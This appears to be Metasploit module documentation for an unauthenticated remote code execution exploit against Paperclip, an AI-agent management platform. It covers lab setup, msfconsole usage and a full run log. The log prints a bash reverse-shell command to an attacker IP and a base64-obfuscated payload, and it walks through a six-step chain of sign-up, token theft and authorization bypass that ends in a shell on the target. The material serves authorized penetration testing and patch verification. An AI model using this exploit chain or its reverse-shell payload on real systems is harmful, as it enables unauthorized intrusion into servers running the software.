## Vulnerable Application
Paperclip is the operating system for your AI company.
You set the goals, hire AI agents as employees, and watch them plan and execute work.
Prior to version `2026.410.0`, Paperclip allows for an unauthenticated RCE.
An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip
instance running in authenticated mode with default configuration. The entire chain is six API calls.

The following Paperclip release has been tested:
* Paperclip 2026.403.0 running on MacOS Tahoe 26.1

See also this [attackerkb article](https://attackerkb.com/topics/86rSV7hsXi/cve-2026-41679) for more info.

## Installation
### Installation steps to install the Paperclip application
* Either use an fresh Ubuntu 22.04 installation or a Mac.
* Here are the installation instructions for [Paperclip](https://docs.paperclip.ing/#/guides/getting-started/installation).
* Below are some small tips for installation:
* Follow the instructions for Terminal (developer).
* Use `npx paperclipai@2026.403.0 onboard --yes` to download, install and configure Paperclip.
* To configure it in authenticated mode, locate the configuration file `~/.paperclip/instances/default/config.json`.
* Change from
```json
  {
    "deploymentMode": "local_trusted"
  }
```
* to
```json
  {
    "deploymentMode": "authenticated"
  }
```
* Start and run Paperclip with `npx paperclipai@2026.403.0 run`. It will accessibe on `http://localhost:3100`.
* When configured in `authenticated` mode, you need to define a instance admin account before you can use the application.
* You can also use `npx paperclipai@2026.403.0 allowed-hostname <your server ip>` to configure Paperclip to use your server ip.

You are now ready to test the module.

## Verification Steps
- [ ] Start `msfconsole`
- [ ] `use exploit/linux/http/paperclipai_unauth_rce_cve_2026_41679`
- [ ] `set rhosts <ip-target>`
- [ ] `set rport <port>`
- [ ] `set lhost <attacker-ip>`
- [ ] `set target <0=Unix/Linux Command>`
- [ ] `exploit`

you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings.

## Options
No additional options defined.

## Scenarios
### Paperclip 2026.403.0 on MacOS Tahoe 26.1
```msf
msf > use exploit/linux/http/paperclipai_unauth_rce_cve_2026_41679
[*] Using configured payload cmd/unix/reverse_bash
msf exploit(linux/http/paperclipai_unauth_rce_cve_2026_41679) > set rhosts 192.168.201.29
rhosts => 192.168.201.29
msf exploit(linux/http/paperclipai_unauth_rce_cve_2026_41679) > set lhost 192.168.201.8
lhost => 192.168.201.8
msf exploit(linux/http/paperclipai_unauth_rce_cve_2026_41679) > set verbose true
verbose => true
msf exploit(linux/http/paperclipai_unauth_rce_cve_2026_41679) > exploit
[+] bash -c '0<&57-;exec 57<>/dev/tcp/192.168.201.8/4444;sh <&57 >&57 2>&57'
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Paperclip version 2026.403.0
[*] Executing Unix/Linux Command for cmd/unix/reverse_bash
[*] Step 1: sign-up and register a new user.
[+] user => donna.anderson@b98bl2b.y.gcj.g8o0l4yj7.ev8ji.com, password => YClakwnIwaxPdvfJ4
[*] Step 2: sign-in with the new user credentials and get a session-cookie.
[+] cookie => better-auth.session_token=dXyuEL51jpbux84ZcFt5tKhpkccrIG3w.tbyRkK5jHNSkqYg0azqD1cmnD4879UG7Yxrzl%2BLf8Xs%3D;
[*] Step 3: Create a CLI challenge and generate an API token.
[+] API token => pcp_board_3630f4ff9961a1e327a76a179d9d844c6fdbfa104022c149
[*] Step 4: Approve the challenge in your session.
[*] Step 5: Create a company and deploy an agent with payload via import (authorization bypass).
[+] payload => echo${IFS}YmFzaCAtYyAnMDwmMTk3LTtleGVjIDE5Nzw+L2Rldi90Y3AvMTkyLjE2OC4yMDEuOC80NDQ0O3NoIDwmMTk3ID4mMTk3IDI+JjE5Nyc=
|((command${IFS}-v${IFS}base64>/dev/null&&(base64${IFS}--decode||base64${IFS}-d))
||(command${IFS}-v${IFS}openssl>/dev/null&&openssl${IFS}enc${IFS}-base64${IFS}-d))|sh
[+] company_id => 0dfdd6c2-af68-49c0-8262-e0d9f73788c6, agent_id => 764300d9-eeaf-4004-b0f4-00427c867c1c
[*] Step 6: Run the agent and trigger the payload. You should get a session now ;-).
[*] Command shell session 1 opened (192.168.201.8:4444 -> 192.168.201.29:58473) at 2026-06-07 11:16:32 +0000
[*] Cleaning up the mess...
[+] Company and agent payload has been successfully archived.

uname -a
Darwin MacBook-Pro-2.local 25.1.0 Darwin Kernel Version 25.1.0: Mon Oct 20 19:26:51 PDT 2025; root:xnu-12377.41.6~2/RELEASE_X86_64 x86_64
```

## Limitations
No limitations.
